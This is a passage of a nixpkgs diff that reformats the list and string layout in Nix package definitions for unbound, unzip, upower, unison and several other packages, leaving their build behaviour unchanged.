index 2a4fca39cae1..41948b705f0d 100644
--- a/pkgs/by-name/un/unbound/package.nix
+++ b/pkgs/by-name/un/unbound/package.nix
@@ -81,72 +81,70 @@ stdenv.mkDerivation (finalAttrs: {
     ]
     ++ lib.optionals withPythonModule [ swig ];
 
-  buildInputs =
-    [
-      openssl
-      nettle
-      expat
-      libevent
-    ]
-    ++ lib.optionals withSystemd [ systemd ]
-    ++ lib.optionals withDoH [ libnghttp2 ]
-    ++ lib.optionals withPythonModule [ python ];
+  buildInputs = [
+    openssl
+    nettle
+    expat
+    libevent
+  ]
+  ++ lib.optionals withSystemd [ systemd ]
+  ++ lib.optionals withDoH [ libnghttp2 ]
+  ++ lib.optionals withPythonModule [ python ];
 
   enableParallelBuilding = true;
 
-  configureFlags =
-    [
-      "--with-ssl=${openssl.dev}"
-      "--with-libexpat=${expat.dev}"
-      "--with-libevent=${libevent.dev}"
-      "--localstatedir=/var"
-      "--sysconfdir=/etc"
-      "--sbindir=\${out}/bin"
-      "--with-rootkey-file=${dns-root-data}/root.key"
-      "--enable-pie"
-      "--enable-relro-now"
-    ]
-    ++ lib.optionals (!withLto) [
-      "--disable-flto"
-    ]
-    ++ lib.optionals withSystemd [
-      "--enable-systemd"
-    ]
-    ++ lib.optionals withPythonModule [
-      "--with-pythonmodule"
-    ]
-    ++ lib.optionals withDynlibModule [
-      "--with-dynlibmodule"
-    ]
-    ++ lib.optionals withDoH [
-      "--with-libnghttp2=${libnghttp2.dev}"
-    ]
-    ++ lib.optionals withECS [
-      "--enable-subnet"
-    ]
-    ++ lib.optionals withDNSCrypt [
-      "--enable-dnscrypt"
-      "--with-libsodium=${
-        symlinkJoin {
-          name = "libsodium-full";
-          paths = [
-            libsodium.dev
-            libsodium.out
-          ];
-        }
-      }"
-    ]
-    ++ lib.optionals withDNSTAP [
-      "--enable-dnstap"
-    ]
-    ++ lib.optionals withTFO [
-      "--enable-tfo-client"
-      "--enable-tfo-server"
-    ]
-    ++ lib.optionals withRedis [
-      "--enable-cachedb"
-      "--with-libhiredis=${hiredis}"
-    ];
+  configureFlags = [
+    "--with-ssl=${openssl.dev}"
+    "--with-libexpat=${expat.dev}"
+    "--with-libevent=${libevent.dev}"
+    "--localstatedir=/var"
+    "--sysconfdir=/etc"
+    "--sbindir=\${out}/bin"
+    "--with-rootkey-file=${dns-root-data}/root.key"
+    "--enable-pie"
+    "--enable-relro-now"
+  ]
+  ++ lib.optionals (!withLto) [
+    "--disable-flto"
+  ]
+  ++ lib.optionals withSystemd [
+    "--enable-systemd"
+  ]
+  ++ lib.optionals withPythonModule [
+    "--with-pythonmodule"
+  ]
+  ++ lib.optionals withDynlibModule [
+    "--with-dynlibmodule"
+  ]
+  ++ lib.optionals withDoH [
+    "--with-libnghttp2=${libnghttp2.dev}"
+  ]
+  ++ lib.optionals withECS [
+    "--enable-subnet"
+  ]
+  ++ lib.optionals withDNSCrypt [
+    "--enable-dnscrypt"
+    "--with-libsodium=${
+      symlinkJoin {
+        name = "libsodium-full";
+        paths = [
+          libsodium.dev
+          libsodium.out
+        ];
+      }
+    }"
+  ]
+  ++ lib.optionals withDNSTAP [
+    "--enable-dnstap"
+  ]
+  ++ lib.optionals withTFO [
+    "--enable-tfo-client"
+    "--enable-tfo-server"
+  ]
+  ++ lib.optionals withRedis [
+    "--enable-cachedb"
+    "--with-libhiredis=${hiredis}"
+  ];
 
   PROTOC_C = lib.optionalString withDNSTAP "${protobufc}/bin/protoc-c";
 
@@ -168,19 +166,18 @@ stdenv.mkDerivation (finalAttrs: {
 
   installFlags = [ "configfile=\${out}/etc/unbound/unbound.conf" ];
 
-  postInstall =
-    ''
-      make unbound-event-install
-    ''
-    + lib.optionalString withMakeWrapper ''
-      wrapProgram $out/bin/unbound-control-setup \
-        --prefix PATH : ${lib.makeBinPath [ openssl ]}
-    ''
-    + lib.optionalString (withMakeWrapper && withPythonModule) ''
-      wrapProgram $out/bin/unbound \
-        --prefix PYTHONPATH : "$out/${python.sitePackages}" \
-        --argv0 $out/bin/unbound
-    '';
+  postInstall = ''
+    make unbound-event-install
+  ''
+  + lib.optionalString withMakeWrapper ''
+    wrapProgram $out/bin/unbound-control-setup \
+      --prefix PATH : ${lib.makeBinPath [ openssl ]}
+  ''
+  + lib.optionalString (withMakeWrapper && withPythonModule) ''
+    wrapProgram $out/bin/unbound \
+      --prefix PYTHONPATH : "$out/${python.sitePackages}" \
+      --argv0 $out/bin/unbound
+  '';
 
   preFixup =
     lib.optionalString withSlimLib
diff --git a/pkgs/by-name/un/uni-vga/package.nix b/pkgs/by-name/un/uni-vga/package.nix
index 7c3aa2a186bd..ee7a3d7a55e6 100644
--- a/pkgs/by-name/un/uni-vga/package.nix
+++ b/pkgs/by-name/un/uni-vga/package.nix
@@ -17,51 +17,48 @@ stdenv.mkDerivation {
     sha256 = "05sns8h5yspa7xkl81ri7y1yxf5icgsnl497f3xnaryhx11s2rv6";
   };
 
-  nativeBuildInputs =
-    [
-      bdftopcf
-      libfaketime
-      xorg.fonttosfnt
-      xorg.mkfontscale
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      perl
-      kbd
-    ];
+  nativeBuildInputs = [
+    bdftopcf
+    libfaketime
+    xorg.fonttosfnt
+    xorg.mkfontscale
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    perl
+    kbd
+  ];
 
   postPatch = "patchShebangs .";
 
-  buildPhase =
-    ''
-      # convert font to compressed pcf
-      bdftopcf u_vga16.bdf | gzip -c -9 -n  > u_vga16.pcf.gz
+  buildPhase = ''
+    # convert font to compressed pcf
+    bdftopcf u_vga16.bdf | gzip -c -9 -n  > u_vga16.pcf.gz
 
-      # convert bdf font to otb
-      faketime -f "1970-01-01 00:00:01" \
-      fonttosfnt -v -o u_vga16.otb u_vga16.bdf
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      # convert font to compressed psf
-      ./bdf2psf.pl -s UniCyrX.sfm u_vga16.bdf \
-        | psfaddtable - UniCyrX.sfm - \
-        | gzip -c -9 -n > u_vga16.psf.gz
-    '';
+    # convert bdf font to otb
+    faketime -f "1970-01-01 00:00:01" \
+    fonttosfnt -v -o u_vga16.otb u_vga16.bdf
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    # convert font to compressed psf
+    ./bdf2psf.pl -s UniCyrX.sfm u_vga16.bdf \
+      | psfaddtable - UniCyrX.sfm - \
+      | gzip -c -9 -n > u_vga16.psf.gz
+  '';
 
-  installPhase =
-    ''
-      # install pcf and otb (for X11 and GTK applications)
-      install -m 644 -D *.otb *.pcf.gz -t "$out/share/fonts"
-      mkfontdir "$out/share/fonts"
+  installPhase = ''
+    # install pcf and otb (for X11 and GTK applications)
+    install -m 644 -D *.otb *.pcf.gz -t "$out/share/fonts"
+    mkfontdir "$out/share/fonts"
 
-      # install bdf font
-      install -m 644 -D *.bdf -t "$bdf/share/fonts"
-      mkfontdir "$bdf/share/fonts"
+    # install bdf font
+    install -m 644 -D *.bdf -t "$bdf/share/fonts"
+    mkfontdir "$bdf/share/fonts"
 
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      # install psf (for linux virtual terminal)
-      install -m 644 -D *.psf.gz -t "$out/share/consolefonts"
-    '';
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    # install psf (for linux virtual terminal)
+    install -m 644 -D *.psf.gz -t "$out/share/consolefonts"
+  '';
 
   outputs = [
     "out"
diff --git a/pkgs/by-name/un/unicorn/package.nix b/pkgs/by-name/un/unicorn/package.nix
index 39edf55b76e9..3cb3e80b8c1e 100644
--- a/pkgs/by-name/un/unicorn/package.nix
+++ b/pkgs/by-name/un/unicorn/package.nix
@@ -18,14 +18,13 @@ stdenv.mkDerivation rec {
     hash = "sha256-vBggblml+lQFhyNrfIp5GKVQ09fd+ccblKHEzWteMbI=";
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      cctools
-    ];
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    cctools
+  ];
 
   # Ensure the linker is using atomic when compiling for RISC-V, otherwise fails
   NIX_LDFLAGS = lib.optionalString stdenv.hostPlatform.isRiscV "-latomic";
diff --git a/pkgs/by-name/un/unimap/package.nix b/pkgs/by-name/un/unimap/package.nix
index 04a4d50f8cbb..7c56633a4d76 100644
--- a/pkgs/by-name/un/unimap/package.nix
+++ b/pkgs/by-name/un/unimap/package.nix
@@ -24,14 +24,13 @@ rustPlatform.buildRustPackage rec {
   useFetchCargoVendor = true;
   cargoHash = "sha256-ShwFHLfDPc3P8J5gV5CFz/2vrQ5xR01C3sYIejyt860=";
 
-  nativeBuildInputs =
-    [
-      installShellFiles
-      makeBinaryWrapper
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isAarch && stdenv.hostPlatform.isLinux) [
-      pkg-config
-    ];
+  nativeBuildInputs = [
+    installShellFiles
+    makeBinaryWrapper
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isAarch && stdenv.hostPlatform.isLinux) [
+    pkg-config
+  ];
 
   # only depends on openssl on aarch/arm linux
   buildInputs = lib.optionals (stdenv.hostPlatform.isAarch && stdenv.hostPlatform.isLinux) [
diff --git a/pkgs/by-name/un/unison-ucm/package.nix b/pkgs/by-name/un/unison-ucm/package.nix
index 7067ec63756f..f46aca166c80 100644
--- a/pkgs/by-name/un/unison-ucm/package.nix
+++ b/pkgs/by-name/un/unison-ucm/package.nix
@@ -40,7 +40,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   nativeBuildInputs = [
     makeWrapper
-  ] ++ lib.optional (!stdenv.hostPlatform.isDarwin) autoPatchelfHook;
+  ]
+  ++ lib.optional (!stdenv.hostPlatform.isDarwin) autoPatchelfHook;
   buildInputs = lib.optionals (!stdenv.hostPlatform.isDarwin) [
     gmp
     ncurses6
diff --git a/pkgs/by-name/un/unison/package.nix b/pkgs/by-name/un/unison/package.nix
index 75ff3c4e2f51..0f6dbf3a698f 100644
--- a/pkgs/by-name/un/unison/package.nix
+++ b/pkgs/by-name/un/unison/package.nix
@@ -23,15 +23,14 @@ stdenv.mkDerivation (finalAttrs: {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      ocamlPackages.ocaml
-      ocamlPackages.findlib
-    ]
-    ++ lib.optionals enableX11 [
-      copyDesktopItems
-      wrapGAppsHook3
-    ];
+  nativeBuildInputs = [
+    ocamlPackages.ocaml
+    ocamlPackages.findlib
+  ]
+  ++ lib.optionals enableX11 [
+    copyDesktopItems
+    wrapGAppsHook3
+  ];
   buildInputs = lib.optionals enableX11 [
     gsettings-desktop-schemas
     ocamlPackages.lablgtk3
@@ -39,7 +38,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   makeFlags = [
     "PREFIX=$(out)"
-  ] ++ lib.optionals (!ocamlPackages.ocaml.nativeCompilers) [ "NATIVE=false" ];
+  ]
+  ++ lib.optionals (!ocamlPackages.ocaml.nativeCompilers) [ "NATIVE=false" ];
 
   postInstall = lib.optionalString enableX11 ''
     install -D $src/icons/U.svg $out/share/icons/hicolor/scalable/apps/unison.svg
diff --git a/pkgs/by-name/un/unit/package.nix b/pkgs/by-name/un/unit/package.nix
index 7c9ddfee455c..304652f63f2e 100644
--- a/pkgs/by-name/un/unit/package.nix
+++ b/pkgs/by-name/un/unit/package.nix
@@ -52,29 +52,29 @@ stdenv.mkDerivation rec {
 
   nativeBuildInputs = [ which ];
 
-  buildInputs =
-    [ pcre2.dev ]
-    ++ optionals withPython3 [
-      python3
-      ncurses
-    ]
-    ++ optional withPHP81 php81-unit
-    ++ optional withPHP82 php82-unit
-    ++ optional withPerl perl
-    ++ optional withRuby_3_1 ruby_3_1
-    ++ optional withRuby_3_2 ruby_3_2
-    ++ optional withSSL openssl;
+  buildInputs = [
+    pcre2.dev
+  ]
+  ++ optionals withPython3 [
+    python3
+    ncurses
+  ]
+  ++ optional withPHP81 php81-unit
+  ++ optional withPHP82 php82-unit
+  ++ optional withPerl perl
+  ++ optional withRuby_3_1 ruby_3_1
+  ++ optional withRuby_3_2 ruby_3_2
+  ++ optional withSSL openssl;
 
-  configureFlags =
-    [
-      "--control=unix:/run/unit/control.unit.sock"
-      "--pid=/run/unit/unit.pid"
-      "--user=unit"
-      "--group=unit"
-    ]
-    ++ optional withSSL "--openssl"
-    ++ optional (!withIPv6) "--no-ipv6"
-    ++ optional withDebug "--debug";
+  configureFlags = [
+    "--control=unix:/run/unit/control.unit.sock"
+    "--pid=/run/unit/unit.pid"
+    "--user=unit"
+    "--group=unit"
+  ]
+  ++ optional withSSL "--openssl"
+  ++ optional (!withIPv6) "--no-ipv6"
+  ++ optional withDebug "--debug";
 
   # Optionally add the PHP derivations used so they can be addressed in the configs
   usedPhp81 = optionals withPHP81 php81-unit;
diff --git a/pkgs/by-name/un/units/package.nix b/pkgs/by-name/un/units/package.nix
index e672c87df5fe..9ae7afa4b433 100644
--- a/pkgs/by-name/un/units/package.nix
+++ b/pkgs/by-name/un/units/package.nix
@@ -27,13 +27,12 @@ stdenv.mkDerivation (finalAttrs: {
     "man"
   ];
 
-  buildInputs =
-    [
-      readline
-    ]
-    ++ lib.optionals enableCurrenciesUpdater [
-      pythonEnv
-    ];
+  buildInputs = [
+    readline
+  ]
+  ++ lib.optionals enableCurrenciesUpdater [
+    pythonEnv
+  ];
 
   prePatch = lib.optionalString enableCurrenciesUpdater ''
     substituteInPlace units_cur \
diff --git a/pkgs/by-name/un/universal-ctags/package.nix b/pkgs/by-name/un/universal-ctags/package.nix
index f4a971c55a1e..065427cec0fa 100644
--- a/pkgs/by-name/un/universal-ctags/package.nix
+++ b/pkgs/by-name/un/universal-ctags/package.nix
@@ -38,15 +38,14 @@ stdenv.mkDerivation (finalAttrs: {
     (python3.withPackages (p: [ p.docutils ]))
   ];
 
-  buildInputs =
-    [
-      libyaml
-      pcre2
-      libxml2
-      jansson
-    ]
-    ++ lib.optional stdenv.hostPlatform.isDarwin libiconv
-    ++ lib.optional stdenv.hostPlatform.isLinux libseccomp;
+  buildInputs = [
+    libyaml
+    pcre2
+    libxml2
+    jansson
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin libiconv
+  ++ lib.optional stdenv.hostPlatform.isLinux libseccomp;
 
   configureFlags = [ "--enable-tmpdir=/tmp" ];
 
diff --git a/pkgs/by-name/un/unixbench/package.nix b/pkgs/by-name/un/unixbench/package.nix
index 52ccbc26a416..de8cc947616b 100644
--- a/pkgs/by-name/un/unixbench/package.nix
+++ b/pkgs/by-name/un/unixbench/package.nix
@@ -48,34 +48,33 @@ stdenv.mkDerivation rec {
     installShellFiles
   ];
 
-  buildInputs =
-    [ perl ]
-    ++ lib.optionals withGL [
-      xorg.libX11
-      xorg.libXext
-      libGLX
-    ];
+  buildInputs = [
+    perl
+  ]
+  ++ lib.optionals withGL [
+    xorg.libX11
+    xorg.libXext
+    libGLX
+  ];
 
-  runtimeDependencies =
-    [
-      coreutils
-      unixtools.nettools
-      unixtools.locale
-      targetPackages.stdenv.cc
-      gnugrep
-      gawk
-    ]
-    ++ lib.optionals withX11perf [
-      xorg.x11perf
-    ];
+  runtimeDependencies = [
+    coreutils
+    unixtools.nettools
+    unixtools.locale
+    targetPackages.stdenv.cc
+    gnugrep
+    gawk
+  ]
+  ++ lib.optionals withX11perf [
+    xorg.x11perf
+  ];
 
-  makeFlags =
-    [
-      "CC=${stdenv.cc.targetPrefix}cc"
-    ]
-    ++ lib.optionals withGL [
-      "GRAPHIC_TESTS=defined"
-    ];
+  makeFlags = [
+    "CC=${stdenv.cc.targetPrefix}cc"
+  ]
+  ++ lib.optionals withGL [
+    "GRAPHIC_TESTS=defined"
+  ];
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/by-name/un/unoconv/package.nix b/pkgs/by-name/un/unoconv/package.nix
index 0291fc19c1dd..e77a62c7f741 100644
--- a/pkgs/by-name/un/unoconv/package.nix
+++ b/pkgs/by-name/un/unoconv/package.nix
@@ -29,15 +29,14 @@ stdenv.mkDerivation rec {
     makeFlags=prefix="$out"
   '';
 
-  postInstall =
-    ''
-      sed -i "s|/usr/bin/env python.*|${libreoffice-unwrapped.python.interpreter}|" "$out/bin/unoconv"
-      wrapProgram "$out/bin/unoconv" \
-          --set-default UNO_PATH "${libreoffice-unwrapped}/lib/libreoffice/program/"
-    ''
-    + lib.optionalString installSymlinks ''
-      make install-links prefix="$out"
-    '';
+  postInstall = ''
+    sed -i "s|/usr/bin/env python.*|${libreoffice-unwrapped.python.interpreter}|" "$out/bin/unoconv"
+    wrapProgram "$out/bin/unoconv" \
+        --set-default UNO_PATH "${libreoffice-unwrapped}/lib/libreoffice/program/"
+  ''
+  + lib.optionalString installSymlinks ''
+    make install-links prefix="$out"
+  '';
 
   meta = with lib; {
     description = "Convert between any document format supported by LibreOffice/OpenOffice";
diff --git a/pkgs/by-name/un/unp/package.nix b/pkgs/by-name/un/unp/package.nix
index 8c5f1e48c2a4..66c6fefea165 100644
--- a/pkgs/by-name/un/unp/package.nix
+++ b/pkgs/by-name/un/unp/package.nix
@@ -16,7 +16,8 @@ let
     file
     unzip
     gzip
-  ] ++ extraBackends;
+  ]
+  ++ extraBackends;
 
 in
 stdenv.mkDerivation {
diff --git a/pkgs/by-name/un/unzip/package.nix b/pkgs/by-name/un/unzip/package.nix
index a5b84b813538..e1f16df8f56e 100644
--- a/pkgs/by-name/un/unzip/package.nix
+++ b/pkgs/by-name/un/unzip/package.nix
@@ -23,65 +23,64 @@ stdenv.mkDerivation rec {
     "-F3"
   ];
 
-  patches =
-    [
-      ./CVE-2014-8139.diff
-      ./CVE-2014-8140.diff
-      ./CVE-2014-8141.diff
-      ./CVE-2014-9636.diff
-      ./CVE-2015-7696.diff
-      ./CVE-2015-7697.diff
-      ./CVE-2014-9913.patch
-      ./CVE-2016-9844.patch
-      ./CVE-2018-18384.patch
-      ./dont-hardcode-cc.patch
-      (fetchurl {
-        url = "https://github.com/madler/unzip/commit/41beb477c5744bc396fa1162ee0c14218ec12213.patch";
-        name = "CVE-2019-13232-1.patch";
-        sha256 = "04jzd6chg9fw4l5zadkfsrfm5llrd7vhd1dgdjjd29nrvkrjyn14";
-      })
-      (fetchurl {
-        url = "https://github.com/madler/unzip/commit/47b3ceae397d21bf822bc2ac73052a4b1daf8e1c.patch";
-        name = "CVE-2019-13232-2.patch";
-        sha256 = "0iy2wcjyvzwrjk02iszwcpg85fkjxs1bvb9isvdiywszav4yjs32";
-      })
-      (fetchurl {
-        url = "https://github.com/madler/unzip/commit/6d351831be705cc26d897db44f878a978f4138fc.patch";
-        name = "CVE-2019-13232-3.patch";
-        sha256 = "1jvs7dkdqs97qnsqc6hk088alhv8j4c638k65dbib9chh40jd7pf";
-      })
-      (fetchurl {
-        urls = [
-          # original link (will be dead eventually):
-          "https://sources.debian.org/data/main/u/unzip/6.0-26%2Bdeb11u1/debian/patches/06-initialize-the-symlink-flag.patch"
+  patches = [
+    ./CVE-2014-8139.diff
+    ./CVE-2014-8140.diff
+    ./CVE-2014-8141.diff
+    ./CVE-2014-9636.diff
+    ./CVE-2015-7696.diff
+    ./CVE-2015-7697.diff
+    ./CVE-2014-9913.patch
+    ./CVE-2016-9844.patch
+    ./CVE-2018-18384.patch
+    ./dont-hardcode-cc.patch
+    (fetchurl {
+      url = "https://github.com/madler/unzip/commit/41beb477c5744bc396fa1162ee0c14218ec12213.patch";
+      name = "CVE-2019-13232-1.patch";
+      sha256 = "04jzd6chg9fw4l5zadkfsrfm5llrd7vhd1dgdjjd29nrvkrjyn14";
+    })
+    (fetchurl {
+      url = "https://github.com/madler/unzip/commit/47b3ceae397d21bf822bc2ac73052a4b1daf8e1c.patch";
+      name = "CVE-2019-13232-2.patch";
+      sha256 = "0iy2wcjyvzwrjk02iszwcpg85fkjxs1bvb9isvdiywszav4yjs32";
+    })
+    (fetchurl {
+      url = "https://github.com/madler/unzip/commit/6d351831be705cc26d897db44f878a978f4138fc.patch";
+      name = "CVE-2019-13232-3.patch";
+      sha256 = "1jvs7dkdqs97qnsqc6hk088alhv8j4c638k65dbib9chh40jd7pf";
+    })
+    (fetchurl {
+      urls = [
+        # original link (will be dead eventually):
+        "https://sources.debian.org/data/main/u/unzip/6.0-26%2Bdeb11u1/debian/patches/06-initialize-the-symlink-flag.patch"
 
-          "https://gist.github.com/veprbl/41261bb781571e2246ea42d3f37795f5/raw/d8533d8c6223150f76b0f31aec03e185fcde3579/06-initialize-the-symlink-flag.patch"
-        ];
-        sha256 = "1h00djdvgjhwfb60wl4qrxbyfsbbnn1qw6l2hkldnif4m8f8r1zj";
-      })
-      (fetchurl {
-        urls = [
-          # original link (will be dead eventually):
-          "https://sources.debian.org/data/main/u/unzip/6.0-27/debian/patches/28-cve-2022-0529-and-cve-2022-0530.patch"
+        "https://gist.github.com/veprbl/41261bb781571e2246ea42d3f37795f5/raw/d8533d8c6223150f76b0f31aec03e185fcde3579/06-initialize-the-symlink-flag.patch"
+      ];
+      sha256 = "1h00djdvgjhwfb60wl4qrxbyfsbbnn1qw6l2hkldnif4m8f8r1zj";
+    })
+    (fetchurl {
+      urls = [
+        # original link (will be dead eventually):
+        "https://sources.debian.org/data/main/u/unzip/6.0-27/debian/patches/28-cve-2022-0529-and-cve-2022-0530.patch"
 
-          "https://web.archive.org/web/20230106200319/https://sources.debian.org/data/main/u/unzip/6.0-27/debian/patches/28-cve-2022-0529-and-cve-2022-0530.patch"
-        ];
-        sha256 = "sha256-on79jElQ+z2ULWAq14RpluAqr9d6itHiZwDkKubBzTc=";
-      })
-      # Clang 16 makes implicit declarations an error by default for C99 and newer, causing the
-      # configure script to fail to detect errno and the directory libraries on Darwin.
-      ./implicit-declarations-fix.patch
-      (fetchurl {
-        name = "CVE-2021-4217.patch";
-        url = "https://git.launchpad.net/ubuntu/+source/unzip/plain/debian/patches/CVE-2021-4217.patch?id=94a790fcbb5d6c53cdf5d786bcaa0b8dc10309b6";
-        hash = "sha256-YKE4jVNSlrHLbszXNYYRtAQs0ly4AsodEz6tadMIVqE=";
-      })
-    ]
-    ++ lib.optional enableNLS (fetchurl {
-      url = "https://gitweb.gentoo.org/repo/gentoo.git/plain/app-arch/unzip/files/unzip-6.0-natspec.patch?id=56bd759df1d0c750a065b8c845e93d5dfa6b549d";
-      name = "unzip-6.0-natspec.patch";
-      sha256 = "67ab260ae6adf8e7c5eda2d1d7846929b43562943ec4aff629bd7018954058b1";
-    });
+        "https://web.archive.org/web/20230106200319/https://sources.debian.org/data/main/u/unzip/6.0-27/debian/patches/28-cve-2022-0529-and-cve-2022-0530.patch"
+      ];
+      sha256 = "sha256-on79jElQ+z2ULWAq14RpluAqr9d6itHiZwDkKubBzTc=";
+    })
+    # Clang 16 makes implicit declarations an error by default for C99 and newer, causing the
+    # configure script to fail to detect errno and the directory libraries on Darwin.
+    ./implicit-declarations-fix.patch
+    (fetchurl {
+      name = "CVE-2021-4217.patch";
+      url = "https://git.launchpad.net/ubuntu/+source/unzip/plain/debian/patches/CVE-2021-4217.patch?id=94a790fcbb5d6c53cdf5d786bcaa0b8dc10309b6";
+      hash = "sha256-YKE4jVNSlrHLbszXNYYRtAQs0ly4AsodEz6tadMIVqE=";
+    })
+  ]
+  ++ lib.optional enableNLS (fetchurl {
+    url = "https://gitweb.gentoo.org/repo/gentoo.git/plain/app-arch/unzip/files/unzip-6.0-natspec.patch?id=56bd759df1d0c750a065b8c845e93d5dfa6b549d";
+    name = "unzip-6.0-natspec.patch";
+    sha256 = "67ab260ae6adf8e7c5eda2d1d7846929b43562943ec4aff629bd7018954058b1";
+  });
 
   nativeBuildInputs = [ bzip2 ];
   buildInputs = [ bzip2 ] ++ lib.optional enableNLS libnatspec;
@@ -90,15 +89,14 @@ stdenv.mkDerivation rec {
 
   NIX_LDFLAGS = "-lbz2" + lib.optionalString enableNLS " -lnatspec";
 
-  buildFlags =
-    [
-      "generic"
-      "D_USE_BZ2=-DUSE_BZIP2"
-      "L_BZ2=-lbz2"
-    ]
-    # `lchmod` is not available on Linux, so we remove it to fix "not supported" errors (when the zip file contains symlinks).
-    # Alpine (musl) and Debian (glibc) also add this flag.
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ "LOCAL_UNZIP=-DNO_LCHMOD" ];
+  buildFlags = [
+    "generic"
+    "D_USE_BZ2=-DUSE_BZIP2"
+    "L_BZ2=-lbz2"
+  ]
+  # `lchmod` is not available on Linux, so we remove it to fix "not supported" errors (when the zip file contains symlinks).
+  # Alpine (musl) and Debian (glibc) also add this flag.
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ "LOCAL_UNZIP=-DNO_LCHMOD" ];
 
   preConfigure = ''
     sed -i -e 's@CF="-O3 -Wall -I. -DASM_CRC $(LOC)"@CF="-O3 -Wall -I. -DASM_CRC -DLARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 $(LOC)"@' unix/Makefile
diff --git a/pkgs/by-name/up/upower/package.nix b/pkgs/by-name/up/upower/package.nix
index b0c0c09573d3..c8a51cc2b424 100644
--- a/pkgs/by-name/up/upower/package.nix
+++ b/pkgs/by-name/up/upower/package.nix
@@ -40,13 +40,12 @@ stdenv.mkDerivation (finalAttrs: {
   pname = "upower";
   version = "1.90.6";
 
-  outputs =
-    [
-      "out"
-      "dev"
-    ]
-    ++ lib.optionals withDocs [ "devdoc" ]
-    ++ lib.optionals withIntrospection [ "installedTests" ];
+  outputs = [
+    "out"
+    "dev"
+  ]
+  ++ lib.optionals withDocs [ "devdoc" ]
+  ++ lib.optionals withIntrospection [ "installedTests" ];
 
   src = fetchFromGitLab {
     domain = "gitlab.freedesktop.org";
@@ -84,65 +83,62 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      python3
-      docbook-xsl-nons
-      gettext
-      libxslt
-      makeWrapper
-      pkg-config
-      glib
-    ]
-    ++ lib.optionals withIntrospection [
-      gobject-introspection
-    ]
-    ++ lib.optionals withDocs [
-      gtk-doc
-    ]
-    ++ lib.optionals (withDocs && !stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    python3
+    docbook-xsl-nons
+    gettext
+    libxslt
+    makeWrapper
+    pkg-config
+    glib
+  ]
+  ++ lib.optionals withIntrospection [
+    gobject-introspection
+  ]
+  ++ lib.optionals withDocs [
+    gtk-doc
+  ]
+  ++ lib.optionals (withDocs && !stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ];
 
-  buildInputs =
-    [
-      libgudev
-      libusb1
-      udev
-    ]
-    ++ lib.optionals withIntrospection [
-      # Duplicate from nativeCheckInputs until https://github.com/NixOS/nixpkgs/issues/161570 is solved
-      umockdev
+  buildInputs = [
+    libgudev
+    libusb1
+    udev
+  ]
+  ++ lib.optionals withIntrospection [
+    # Duplicate from nativeCheckInputs until https://github.com/NixOS/nixpkgs/issues/161570 is solved
+    umockdev
 
-      # For installed tests.
-      (python3.withPackages (pp: [
-        pp.dbus-python
-        pp.python-dbusmock
-        pp.pygobject3
-        pp.packaging
-      ]))
-    ]
-    ++ lib.optionals withSystemd [
-      systemd
-    ]
-    ++ lib.optionals useIMobileDevice [
-      libimobiledevice
-    ];
+    # For installed tests.
+    (python3.withPackages (pp: [
+      pp.dbus-python
+      pp.python-dbusmock
+      pp.pygobject3
+      pp.packaging
+    ]))
+  ]
+  ++ lib.optionals withSystemd [
+    systemd
+  ]
+  ++ lib.optionals useIMobileDevice [
+    libimobiledevice
+  ];
 
-  nativeCheckInputs =
-    [
-      libeatmydata
-    ]
-    ++ lib.optionals withIntrospection [
-      python3.pkgs.dbus-python
-      python3.pkgs.python-dbusmock
-      python3.pkgs.pygobject3
-      dbus
-      umockdev
-      python3.pkgs.packaging
-    ];
+  nativeCheckInputs = [
+    libeatmydata
+  ]
+  ++ lib.optionals withIntrospection [
+    python3.pkgs.dbus-python
+    python3.pkgs.python-dbusmock
+    python3.pkgs.pygobject3
+    dbus
+    umockdev
+    python3.pkgs.packaging
+  ];
 
   propagatedBuildInputs = [
     glib
diff --git a/pkgs/by-name/uq/uqm/package.nix b/pkgs/by-name/uq/uqm/package.nix
index 03ac250257f7..c9e47cd2bb99 100644
--- a/pkgs/by-name/uq/uqm/package.nix
+++ b/pkgs/by-name/uq/uqm/package.nix
@@ -87,22 +87,21 @@ stdenv.mkDerivation rec {
     libGL
   ];
 
-  postUnpack =
-    ''
-      mkdir -p uqm-${version}/content/packages
-      mkdir -p uqm-${version}/content/addons
-      ln -s "$content" "uqm-${version}/content/packages/uqm-${version}-content.uqm"
-      ln -s "$music" "uqm-${version}/content/addons/uqm-${version}-3domusic.uqm"
-      ln -s "$voice" "uqm-${version}/content/addons/uqm-${version}-voice.uqm"
-    ''
-    + lib.optionalString useRemixPacks (
-      lib.concatMapStrings (disc: ''
-        ln -s "${disc}" "uqm-$version/content/addons/${disc.name}"
-      '') remixPacks
-    )
-    + lib.optionalString use3DOVideos ''
-      ln -s "${videos}" "uqm-${version}/content/addons/3dovideo"
-    '';
+  postUnpack = ''
+    mkdir -p uqm-${version}/content/packages
+    mkdir -p uqm-${version}/content/addons
+    ln -s "$content" "uqm-${version}/content/packages/uqm-${version}-content.uqm"
+    ln -s "$music" "uqm-${version}/content/addons/uqm-${version}-3domusic.uqm"
+    ln -s "$voice" "uqm-${version}/content/addons/uqm-${version}-voice.uqm"
+  ''
+  + lib.optionalString useRemixPacks (
